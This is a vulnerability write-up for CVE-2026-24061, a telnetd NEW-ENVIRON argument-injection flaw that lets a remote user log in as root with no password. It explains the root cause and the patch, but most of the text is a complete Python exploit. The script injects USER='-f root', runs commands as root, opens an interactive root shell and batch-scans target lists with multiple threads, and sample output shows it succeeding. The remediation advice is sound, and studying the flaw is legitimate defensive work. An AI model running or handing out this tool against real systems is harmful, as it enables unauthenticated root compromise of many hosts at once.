#Summary

CVE-2026-24061 is a critical authentication bypass in GNU Inetutils telnetd versions 1.9.3 through 2.7. An unauthenticated remote attacker can trigger the vulnerability by injecting a specially crafted value in the telnet NEW-ENVIRON protocol option before any authentication occurs, resulting in remote code execution as root. CVSS 9.8 CRITICAL with network accessibility and no authentication required.

#Affected versions

Default configuration is vulnerable if the inetd/xinetd super-server is enabled and telnet (TCP/23) is exposed to untrusted networks.

#Root cause analysis

#How the vulnerability occurs

GNU Inetutils telnetd is a network service invoked by a super-server (inetd/xinetd) to handle incoming telnet connections. During the telnet handshake, the client can push environment variables to the server via the telnet NEW-ENVIRON protocol option (RFC 1572). Crucially, telnetd accepts and stores these environment variables before any authentication using setenv().

Later, when preparing to hand off control to the login(1) program, telnetd expands a login command template stored in the code:

/* telnetd/telnetd.c */
char *login_invocation =
  ...
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";

The token %?u{-f %u}{%U} is a conditional: if an autologin user is set, it emits -f %u; otherwise it expands %U. For a plain telnet connection with no autologin, the %U branch is taken.

#The unprotected expansion

In telnetd/utility.c, the %U expansion reads directly from the USER environment variable with zero sanitization:

case 'U':
  return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");

The expand_line() function then passes this expanded template to argcv_get(), which splits the string on whitespace into separate argument vector elements. Setting USER=-f root therefore produces:

/usr/bin/login -p -h <peer> -f root

The login(1) program from util-linux interprets -f as "this user is already authenticated, skip the password prompt" and treats root as the account name. Since scrub_env() only strips dangerous variables like LD_* and IFS but not USER, the injected value survives untouched to the execv() call.

#Data flow

  1. Attacker connects to telnet port (TCP/23)
  2. During telnet negotiation, the server sends IAC SB NEW-ENVIRON SEND IAC SE
  3. Attacker responds with USER=-f root via the NEW-ENVIRON IS subnegotiation
  4. telnetd stores this with setenv("USER", "-f root")
  5. expand_line() expands %U-f root without sanitization
  6. argcv_get() splits on whitespace → ["-f", "root"] as separate argv elements
  7. execv("/usr/bin/login", ["/usr/bin/login", "-p", "-h", "<peer>", "-f", "root"]) is called
  8. login accepts the -f root flags and drops a root shell with no password

#Patch diff

#What the fix does

The vendor applied two commits that sanitize all expansion fields in the login template.

First commit (fd702c02): Rejects environment variable values that start with - or contain shell metacharacters:

case 'U':
-  return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
+  {
+	/* Ignore user names starting with '-' or containing shell
+	   metachars, as they can cause trouble.  */
+	char const *u = getenv ("USER");
+	return xstrdup ((u && *u != '-'
+			 && !u[strcspn (u, "\t\n !\"#{{CONTENT}}#x26;'()*;<=>?[\\^`{|}~")])
+			? u : "");
+  }

Second commit (ccba9f74): Factors the sanitization into a reusable sanitize() function and applies it to all externally-influenced fields (%h remote hostname, %l/%L local host/line, %t/%T terminal type, %u autologin user, and %U). This prevents similar injections via other template fields.

If a value fails the sanitization check (starts with - or contains metacharacters), it is replaced with an empty string, causing login to run with a normal interactive prompt instead of a forced authentication.

#Proof of concept

#exploit.py - GNU Inetutils telnetd Auth Bypass RCE

The exploit implements a telnet client that performs the NEW-ENVIRON argument injection attack. It handles telnet protocol negotiation, sends the malicious USER value, and executes commands on the compromised host.

#!/usr/bin/env python3
"""
CVE-2026-24061 - GNU Inetutils telnetd argument injection -> unauthenticated root RCE
Affected: GNU Inetutils telnetd 1.9.3 through 2.7 (Debian 11 inetutils-telnetd, et al.)
Type: Argument injection (CWE-88) -> remote authentication bypass -> RCE as root

The telnet NEW-ENVIRON option (RFC 1572) lets the *client* push environment
variables to the server before any authentication.  Vulnerable telnetd stores
them with setenv() and later expands the login template

    /usr/bin/login -p -h %h %?u{-f %u}{%U}

where %U expands to getenv("USER") verbatim.  argcv_get() then splits the
expanded string on whitespace, so USER="-f root" becomes two separate argv
elements and the target runs:

    /usr/bin/login -p -h <peer> -f root

login(1) treats -f as "already authenticated" and drops a root shell on the
socket with no password prompt.

Usage:
  python exploit.py --host <target> --port 23
  python exploit.py --host 192.168.1.10 --port 23 --command "id"
  python exploit.py --host 192.168.1.10 --port 23 --username operator
  python exploit.py --host 192.168.1.10 --port 23 --interactive
  python exploit.py --host telnets://192.168.1.10:992 --tls
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import binascii
import os
import re
import socket
import ssl
import sys
import time
from typing import Optional, Tuple
from urllib.parse import urlparse

CVE_ID = "CVE-2026-24061"
VULN_TYPE = "RCE"

DEFAULT_PORT = 23
TLS_PORTS = (992,)


# --------------------------------------------------------------------------- #
#  Standard ALIM output helpers
# --------------------------------------------------------------------------- #

def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  Telnet protocol constants (RFC 854 / RFC 1572)
# --------------------------------------------------------------------------- #

IAC, DONT, DO, WONT, WILL, SB, SE = 255, 254, 253, 252, 251, 250, 240

OPT_ECHO = 1
OPT_SGA = 3
OPT_TTYPE = 24
OPT_NAWS = 31
OPT_TSPEED = 32
OPT_LINEMODE = 34
OPT_AUTH = 37
OPT_NEW_ENVIRON = 39

ENV_IS, ENV_SEND, ENV_INFO = 0, 1, 2
ENV_VAR, ENV_VALUE, ENV_ESC, ENV_USERVAR = 0, 1, 2, 3

# A patched telnetd sanitizes USER to "" and falls through to a normal
# interactive login, so the stream *ends* on a credential prompt.  The trailing
# anchor matters: the successful root shell's motd contains "Last login: ..."
# mid-banner, which a naive substring test would misread as a patched target.
LOGIN_PROMPT_RE = re.compile(
    r"(?:^|\n)[^\n]{0,80}?(?:login|username|password)\s*:\s*$", re.IGNORECASE)

# Terminal control noise the PTY wraps around shell output (bracketed paste,
# colour SGR, OSC title sets).  Stripped before evidence extraction.
ANSI_RE = re.compile(r"\x1b\[[0-9;?]*[ -/]*[@-~]|\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)|\x1b[()][B0]")


def _clean(text: str) -> str:
    return ANSI_RE.sub("", text).replace("\r\n", "\n").replace("\r", "")


def _looks_like_login_prompt(text: str) -> bool:
    return bool(LOGIN_PROMPT_RE.search(_clean(text).rstrip(" \t\n")))


def _env_escape(raw: bytes) -> bytes:
    """Escape a NEW-ENVIRON value: IAC doubled, ENV_* control bytes ESC-prefixed."""
    out = bytearray()
    for b in raw:
        if b == IAC:
            out += bytes([IAC, IAC])
        elif b in (ENV_VAR, ENV_VALUE, ENV_ESC, ENV_USERVAR):
            out += bytes([ENV_ESC, b])
        else:
            out.append(b)
    return bytes(out)


# --------------------------------------------------------------------------- #
#  Telnet client with the NEW-ENVIRON injection
# --------------------------------------------------------------------------- #

class TelnetdInjector:
    """
    Minimal telnet client that answers the server's option negotiation and
    replies to the NEW-ENVIRON SEND request with an attacker-chosen USER value.
    Pure network I/O - no assumptions about how the target is deployed.
    """

    def __init__(self, host, port, use_tls=False, user_value="-f root",
                 timeout=15.0, verbose=False):
        self.host = host
        self.port = port
        self.use_tls = use_tls
        self.user_value = user_value
        self.timeout = float(timeout)
        self.verbose = verbose

        self.sock = None
        self._buf = b""            # bytes not yet consumed by the IAC parser
        self._sent_replies = {}    # (cmd, opt) -> count, guards negotiation loops
        self.payload_sent = False
        self.saw_negotiation = False
        self.transcript = b""

    # -- plumbing ----------------------------------------------------------- #

    def _log(self, msg: str) -> None:
        if self.verbose:
            print(f"    {msg}")

    def connect(self) -> None:
        self.sock = socket.create_connection((self.host, self.port),
                                             timeout=self.timeout)
        if self.use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            self.sock = ctx.wrap_socket(self.sock, server_hostname=self.host)
        self.sock.settimeout(0.5)

    def close(self) -> None:
        if self.sock:
            try:
                self.sock.close()
            except OSError:
                pass
            self.sock = None

    def _send(self, data: bytes) -> None:
        self.sock.sendall(data)

    # -- option negotiation ------------------------------------------------- #

    def _reply(self, cmd: int, opt: int) -> None:
        key = (cmd, opt)
        self._sent_replies[key] = self._sent_replies.get(key, 0) + 1
        if self._sent_replies[key] > 3:
            return  # peer is looping; stop feeding it
        self._send(bytes([IAC, cmd, opt]))

    def _negotiate(self, cmd: int, opt: int) -> None:
        self.saw_negotiation = True
        if cmd == DO:
            if opt == OPT_NEW_ENVIRON:
                self._reply(WILL, opt)
                self._log("server DO NEW-ENVIRON -> WILL (injection channel open)")
            elif opt in (OPT_TTYPE, OPT_TSPEED):
                self._reply(WILL, opt)
            elif opt == OPT_NAWS:
                self._reply(WILL, opt)
                self._send(bytes([IAC, SB, OPT_NAWS, 0, 80, 0, 24, IAC, SE]))
            else:
                self._reply(WONT, opt)
        elif cmd == DONT:
            self._reply(WONT, opt)
        elif cmd == WILL:
            self._reply(DO if opt in (OPT_ECHO, OPT_SGA) else DONT, opt)
        elif cmd == WONT:
            self._reply(DONT, opt)

    def send_injection(self) -> None:
        """IAC SB NEW-ENVIRON IS VAR "USER" VALUE <payload> IAC SE"""
        payload = (bytes([IAC, SB, OPT_NEW_ENVIRON, ENV_IS, ENV_VAR]) +
                   b"USER" + bytes([ENV_VALUE]) +
                   _env_escape(self.user_value.encode("utf-8", "surrogateescape")) +
                   bytes([IAC, SE]))
        self._send(payload)
        self.payload_sent = True
        self._log(f"injected USER={self.user_value!r} via NEW-ENVIRON IS")

    def _subneg(self, data: bytes) -> None:
        if not data:
            return
        opt, body = data[0], data[1:]
        if opt == OPT_NEW_ENVIRON and body and body[0] == ENV_SEND:
            self.send_injection()
        elif opt == OPT_TTYPE and body and body[0] == ENV_SEND:
            self._send(bytes([IAC, SB, OPT_TTYPE, 0]) + b"xterm" + bytes([IAC, SE]))
        elif opt == OPT_TSPEED and body and body[0] == ENV_SEND:
            self._send(bytes([IAC, SB, OPT_TSPEED, 0]) + b"38400,38400" + bytes([IAC, SE]))

    # -- incremental IAC parser (survives arbitrary recv() boundaries) ------- #

    def _feed(self, data: bytes) -> bytes:
        self._buf += data
        buf = self._buf
        out = bytearray()
        i, n = 0, len(buf)
        while i < n:
            b = buf[i]
            if b != IAC:
                out.append(b)
                i += 1
                continue
            if i + 1 >= n:
                break                                  # incomplete, keep for next feed
            c = buf[i + 1]
            if c == IAC:                               # escaped 0xFF in the data stream
                out.append(IAC)
                i += 2
            elif c in (WILL, WONT, DO, DONT):
                if i + 2 >= n:
                    break
                self._negotiate(c, buf[i + 2])
                i += 3
            elif c == SB:
                end = buf.find(bytes([IAC, SE]), i + 2)
                if end == -1:
                    break
                self._subneg(buf[i + 2:end])
                i = end + 2
            else:                                      # NOP / GA / DM / ... 2-byte cmds
                i += 2
        self._buf = buf[i:]
        return bytes(out)

    def pump(self, idle: float = 1.2, max_wait: float = 10.0) -> str:
        """Read/answer until the peer goes quiet for `idle` seconds."""
        deadline = time.time() + max_wait
        last = time.time()
        chunks = []
        while time.time() < deadline:
            try:
                data = self.sock.recv(8192)
            except socket.timeout:
                if time.time() - last >= idle:
                    break
                continue
            except (ConnectionResetError, BrokenPipeError, ssl.SSLError, OSError):
                break
            if not data:
                break
            self.transcript += data
            last = time.time()
            text = self._feed(data)
            if text:
                chunks.append(text)
        return b"".join(chunks).decode("utf-8", "replace")

    # -- post-auth command execution ---------------------------------------- #

    def run_command(self, command: str) -> Tuple[Optional[str], str]:
        """
        Run `command` in the shell telnetd handed us and return (output, raw).

        The PTY echoes whatever we type, so the markers are typed in a split
        form (ALIMS""<tok>) that the shell reassembles only on *execution* --
        the echoed line therefore never matches the marker we search for.
        """
        tok = binascii.hexlify(os.urandom(4)).decode()
        start, end = "ALIMS" + tok, "ALIME" + tok
        line = 'echo ALIMS""{t}; {c} 2>&1; echo ALIME""{t}\n'.format(t=tok, c=command)
        self._send(line.encode())

        raw = ""
        deadline = time.time() + 12.0
        while time.time() < deadline:
            raw += self.pump(idle=0.8, max_wait=4.0)
            if end in raw:
                break
        clean = _clean(raw)
        if start in clean and end in clean:
            body = clean.split(start, 1)[1].rsplit(end, 1)[0]
            return body.strip("\n"), raw
        return None, raw


# --------------------------------------------------------------------------- #
#  Core exploit routine, shared by single-target and scan modes
# --------------------------------------------------------------------------- #

def _core(host, port, use_tls, command, username, timeout=15.0, verbose=False):
    """
    Returns a dict:
      ok        bool    - root command execution confirmed
      evidence  str     - one-line summary
      banner    str     - everything the server sent before our command
      output    str|None- command output, if any
      raw       str     - raw post-command transcript
    """
    res = {"ok": False, "evidence": "", "banner": "", "output": None, "raw": ""}
    tn = TelnetdInjector(host, port, use_tls=use_tls,
                         user_value="-f " + username,
                         timeout=timeout, verbose=verbose)
    try:
        tn.connect()
    except (socket.timeout, OSError) as exc:
        res["evidence"] = f"unreachable ({exc.__class__.__name__})"
        return res

    try:
        # Phase 1 - option negotiation; the injection fires on ENV_SEND.
        banner = tn.pump(idle=1.0, max_wait=timeout)

        if not tn.saw_negotiation:
            res["evidence"] = "no telnet option negotiation - not an inetutils telnetd"
            res["banner"] = banner
            return res

        # Some builds never ask for NEW-ENVIRON; push the value unsolicited.
        if not tn.payload_sent:
            tn.send_injection()
            banner += tn.pump(idle=1.0, max_wait=6.0)

        res["banner"] = banner
        if _looks_like_login_prompt(banner):
            res["evidence"] = ("blocked - server presented an interactive login "
                               "prompt (USER sanitized; target patched)")
            return res

        # Phase 2 - we should now be sitting on a root shell. Prove it.
        output, raw = tn.run_command(command)
        res["raw"] = raw
        res["output"] = output

        if output is None:
            if _looks_like_login_prompt(banner + raw):
                res["evidence"] = ("blocked - interactive login prompt after "
                                   "injection (target patched)")
            else:
                res["evidence"] = "payload delivered but no shell output captured"
            return res

        first = next((l for l in output.splitlines() if l.strip()), "")
        res["ok"] = True
        res["evidence"] = (f"unauthenticated shell as '{username}' - "
                           f"`{command}` -> {first.strip()}")
        return res
    except (socket.timeout, OSError, ssl.SSLError) as exc:
        res["evidence"] = f"transport error ({exc.__class__.__name__}: {exc})"
        return res
    finally:
        tn.close()


def _try_exploit(host, port, use_tls=False, command="id", username="root",
                 timeout=15.0):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints."""
    try:
        res = _core(host, port, use_tls, command, username, timeout=timeout)
        return res["ok"], res["evidence"]
    except Exception as exc:                                   # never break the sweep
        return False, f"error ({exc.__class__.__name__})"


# --------------------------------------------------------------------------- #
#  Target parsing / batch scan
# --------------------------------------------------------------------------- #

def _parse_target(line, default_port, default_path="/"):
    """Parse one target line into (host, port, use_tls, path). None = skip."""
    line = (line or "").strip()
    if not line or line.startswith("#"):
        return None
    if "://" in line:
        p = urlparse(line)
        tls = p.scheme in ("https", "telnets", "ssl", "tls")
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        host = p.hostname or line
        port = p.port or (992 if tls else default_port)
        return host, port, tls, path
    if line.count(":") == 1:
        hostpart, portpart = line.rsplit(":", 1)
        try:
            port = int(portpart)
            return hostpart, port, port in TLS_PORTS, default_path
        except ValueError:
            pass
    return line, default_port, default_port in TLS_PORTS, default_path


def scan(targets_file, default_port, workers=10, command="id", username="root",
         timeout=15.0, force_tls=None):
    import concurrent.futures

    with open(targets_file) as fh:
        targets = [_parse_target(l, default_port) for l in fh]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    if not targets:
        print("  (no targets parsed from file)\n")
        sys.exit(1)

    def probe(t):
        host, port, use_tls = t[0], t[1], t[2]
        if force_tls is not None:
            use_tls = force_tls
        label = f"{'telnets' if use_tls else 'telnet'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, command, username, timeout)
        return label, ok, evidence

    success_count = 0
    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            verdict = "Exploited" if ok else "Not vulnerable"
            print(f"  {'[+]' if ok else '[-]'} {label} - {verdict}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
#  Interactive shell (optional convenience for real engagements)
# --------------------------------------------------------------------------- #

def interactive(host, port, use_tls, username, timeout):
    header(host, port)
    step(1, f"Connecting to {host}:{port} and negotiating telnet options...")
    tn = TelnetdInjector(host, port, use_tls=use_tls, user_value="-f " + username,
                         timeout=timeout, verbose=True)
    try:
        tn.connect()
    except OSError as exc:
        done(False, f"cannot connect to {host}:{port} ({exc.__class__.__name__})")

    banner = tn.pump(idle=1.0, max_wait=timeout)
    if not tn.payload_sent:
        tn.send_injection()
        banner += tn.pump(idle=1.0, max_wait=6.0)
    section("SERVER BANNER", _clean(banner) or "(empty)")

    if _looks_like_login_prompt(banner):
        tn.close()
        done(False, "interactive login prompt returned - target is patched")

    if not sys.stdin.isatty():
        tn.close()
        done(False, "--interactive needs a TTY; use --command instead")

    import select
    import termios
    import tty

    step(2, f"Root shell open. Ctrl+] to exit.")
    old = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tn.sock.settimeout(0.1)
        while True:
            r, _, _ = select.select([tn.sock, sys.stdin], [], [], 0.1)
            for fd in r:
                if fd is tn.sock:
                    try:
                        data = tn.sock.recv(8192)
                    except (socket.timeout, ssl.SSLWantReadError):
                        continue
                    except OSError:
                        return
                    if not data:
                        return
                    sys.stdout.buffer.write(tn._feed(data))
                    sys.stdout.buffer.flush()
                else:
                    ch = sys.stdin.read(1)
                    if ch == "\x1d":
                        return
                    tn.sock.sendall(ch.encode())
    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old)
        tn.close()
        done(True, "interactive session ended")


# --------------------------------------------------------------------------- #
#  Single-target exploitation
# --------------------------------------------------------------------------- #

def exploit(host, port, use_tls, command, username, timeout):
    header(host, port)

    step(1, f"Connecting to {host}:{port} ({'TLS' if use_tls else 'plaintext'})...")
    step(2, "Answering telnet option negotiation (WILL NEW-ENVIRON)...")
    step(3, f"Injecting USER='-f {username}' in the NEW-ENVIRON IS subnegotiation")
    step(4, f"Target expands login template to: login -p -h <peer> -f {username}")

    res = _core(host, port, use_tls, command, username,
                timeout=timeout, verbose=True)

    if res["banner"]:
        section("SERVER BANNER (pre-auth)", _clean(res["banner"]))

    if not res["ok"]:
        if res["raw"]:
            section("RAW TRANSCRIPT", _clean(res["raw"]))
        done(False, res["evidence"])

    step(5, f"Shell as '{username}' reached with no password prompt - "
            f"executing `{command}`")
    section("COMMAND OUTPUT", res["output"] or "(empty)")

    uid_line = next((l for l in (res["output"] or "").splitlines() if "uid=" in l), "")
    if uid_line:
        section("IDENTITY", uid_line.strip())

    done(True, res["evidence"])


# --------------------------------------------------------------------------- #

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description=f"{CVE_ID} - GNU Inetutils telnetd auth bypass / root RCE")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host",
                            help="Target: hostname, IP, or URL (e.g. telnets://host:992)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                        help=f"Target port (default: {DEFAULT_PORT})")
    parser.add_argument("--command", default="id",
                        help="Command to execute on the target (default: id)")
    parser.add_argument("--username", default="root",
                        help="Account to log in as without credentials (default: root)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    parser.add_argument("--timeout", type=float, default=15.0,
                        help="Per-target timeout in seconds (default: 15)")
    parser.add_argument("--interactive", action="store_true",
                        help="Drop into an interactive root shell instead of --command")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", dest="no_tls", action="store_true",
                         help="Force plaintext")
    args = parser.parse_args()

    force_tls = True if args.tls else (False if args.no_tls else None)

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             command=args.command, username=args.username,
             timeout=args.timeout, force_tls=force_tls)
    else:
        parsed = _parse_target(args.host, args.port)
        if parsed:
            t_host, t_port, t_tls = parsed[0], parsed[1], parsed[2]
        else:
            t_host, t_port, t_tls = args.host, args.port, False
        if force_tls is not None:
            t_tls = force_tls
        if args.interactive:
            interactive(t_host, t_port, t_tls, args.username, args.timeout)
        else:
            exploit(t_host, t_port, t_tls, args.command, args.username, args.timeout)

#Usage

Basic exploitation - unauthenticated root RCE:

python3 exploit.py --host 192.168.1.50 --port 23 --command id

Expected output on vulnerable target:

============================================================
  ALIM EXPLOIT  CVE-2026-24061
  Type: RCE  |  Target: 192.168.1.50:23
============================================================

[STEP 1] Connecting to 192.168.1.50:23 (plaintext)...
[STEP 2] Answering telnet option negotiation (WILL NEW-ENVIRON)...
[STEP 3] Injecting USER='-f root' in the NEW-ENVIRON IS subnegotiation
[STEP 4] Target expands login template to: login -p -h <peer> -f root
    server DO NEW-ENVIRON -> WILL (injection channel open)
    injected USER='-f root' via NEW-ENVIRON IS

--- SERVER BANNER (pre-auth) ---
Linux host 6.12.0 #1 SMP aarch64
...
Last login: Fri Jul 24 22:19:26 UTC 2026 from 192.168.65.1
root@host:~#
---

[STEP 5] Shell as 'root' reached with no password prompt - executing `id`

--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: unauthenticated shell as 'root' - `id` -> uid=0(root) gid=0(root) groups=0(root)
============================================================

Expected output on patched target:

--- SERVER BANNER (pre-auth) ---
hostname login:
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: blocked - server presented an interactive login prompt (USER sanitized; target patched)
============================================================

#Arguments

Argument Default Purpose
--host (required) Target hostname, IP, or URL (telnet://host:23, telnets://host:992)
--list FILE (optional) Batch scan mode; one target per line
--port 23 Target port
--command id Command to execute; output returned over socket
--username root Account to authenticate as without credentials
--workers 10 Concurrent threads for batch scanning
--timeout 15 Per-target timeout in seconds
--interactive off Interactive shell instead of running a single command
--tls / --no-tls auto Force or disable TLS (auto-detects telnets://URLs)

#Exploitation notes

#Preconditions

#Attack requirements

#Reliability and impact

#Chaining potential

This is a terminal RCE primitive (CWE-88 argument injection). No further chaining or heap grooming is needed - the attacker already has root command execution on the target.

#Remediation

  1. Upgrade immediately to a patched version of GNU Inetutils containing commits fd702c02 and ccba9f74 (e.g., Debian inetutils 2:2.0-1+deb11u2 or later).
  2. Disable telnetd entirely on externally-facing systems. Telnet transmits all traffic in cleartext and should not be exposed to untrusted networks under any circumstances. Use SSH instead.
  3. Network isolation: If telnetd must remain enabled for legacy reasons, restrict access to the telnet port via firewall rules to trusted internal networks only.

#References